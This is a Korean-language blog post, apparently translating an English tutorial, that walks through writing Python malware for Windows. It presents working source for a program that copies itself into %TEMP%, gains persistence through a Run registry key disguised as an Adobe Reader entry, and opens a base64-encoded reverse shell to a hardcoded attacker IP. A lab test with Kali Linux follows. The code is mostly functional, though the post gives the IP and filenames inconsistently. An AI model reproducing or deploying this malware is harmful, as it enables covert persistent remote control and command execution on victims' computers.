뉴비에욤

0xC Python Tutorials - Python Malware (파이썬 악성코드) 본문

primalsecurity.net/Python Tutorials

0xC Python Tutorials - Python Malware (파이썬 악성코드)

초보에욤 2015. 12. 8. 16:20

이번에는 Python, PyInstaller를 이용하여 악성 코드를 제작하는 예제 코드를 보여줄 것이다. 이전 튜토리얼에서 PyInstaller를 이용하여 파이썬을 PE 포맷(exe 파일)로 컴파일하는 것을 보여주었다. 따라서 지금부터는 윈도우즈 호스트를 대상으로 악성 행위를 하는 예제 코드를 보여줄 것이다.

 

 

악성코드 코딩

 

대부분의 악성코드에서 공통적으로 찾을 수 있는 것은 공격 대상과의 연결을 지속적으로 유지시키는 것이다. 윈도우즈 호스트를 대상으로 지속적인 연견을 수립시키는 방법은 여러가지가 있는데, 가장 흔한 것은 "Software\Microsoft\Windows\CurrentVersion\Run" 레지스트리를 이용하는 것이다. 아래의 사진은 악성코드 자체(exe 파일)를 %TEMP% 디렉토리에 복사한 뒤 위에서 명시한 레지스트리를 변조하여 대상 호스트에 사용자가 로그인 할 때 마다 실행되게 하는 코드이다.

import sys, base64, os, socket, subprocess
from _winreg import *
 
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
 
# Queries Windows registry for key values
# Appends autorun key to runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
 
# Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            key.Close()
        except WindowsError:
            pass

 

 

위 코드들로 인해 악성코드가 %TEMP% 디렉토리에 복사되고 지속적인 연결을 유지하게 되면 이제 악성코드의 다음 행위를 추가해야 하는데, 바로 리버스 쉘이다. 원문 포스팅의 저자는 "TrustedSec"에서 릴리즈한 리버스 쉘 코드를 사용하되 한 가지 변경을 하였는데 바로 네트워크 트래픽을 base64 형식으로 인코딩 하는 것이다.

 

def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
 
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
 
if __name__ == "__main__":
        main()

 

위 소스를 추가하여 실행한 경우 하드코딩 된 공격자의 IP/Port (192.1688.65.1/443) 쪽으로 리버스 쉘을 오픈할 것이다. 그러나 IP뿐만 아니라 도메인/클라우드 주소 또한 사용할 수 있다. 아래의 사진들은 위에서 작성한 악성코드를 실제 동작 행위를 확인하는 것이다.

 

 

우선 공격자 (칼리 리눅스 v2) 에서 포트를 열어 리버스 쉘을 대기한다.

* 소스에서 공격자의 IP/Port 주소를 변경함

 

 

공격 대상 호스트(192.168.100.120)에서 악성코드를 실행하면 위 사진에서 보는 것 처럼 리버스 쉘을 획득한다.

 

공격 대상 호스트의 %TEMP% 폴더에 악성코드 파일이 복사되었다.

 

공격 대상 호스트의 레지스트리 경로에 "Adobe Reader X => %TEMP%adobe_security_update.exe" 항목이 추가

되었다.

 

* 다만 본인은 파일명을 python_malware.exe로 변경한 상태에서 실행하였기 때문에 공격 대상 호스트에서

   사용자가 로그인해도 지속적인 쉘을 얻을 수 없다. 지속적인 쉘을 얻으려면 악성코드 파일명을        

   "adobe_security_update.exe"로  변경한 뒤 실행하면 된다.

 

리버스 쉘을 얻고 나서 "ipconfig" 명령을 입력하면 base64 인코딩 된 값들이 보여지는데 이를 디코딩해보면 우측의 쉘처럼 실제 대상 호스트의 "ipconfig" 명령 결과가 나타난다.

 

 

공격 대상 호스트에서 "ipconfig" 명령어의 결과와 이전에 본 리버스 쉘의 결과가 다른 것이 없다.

( 단 한글 인코딩은 깨짐 )

 

Comments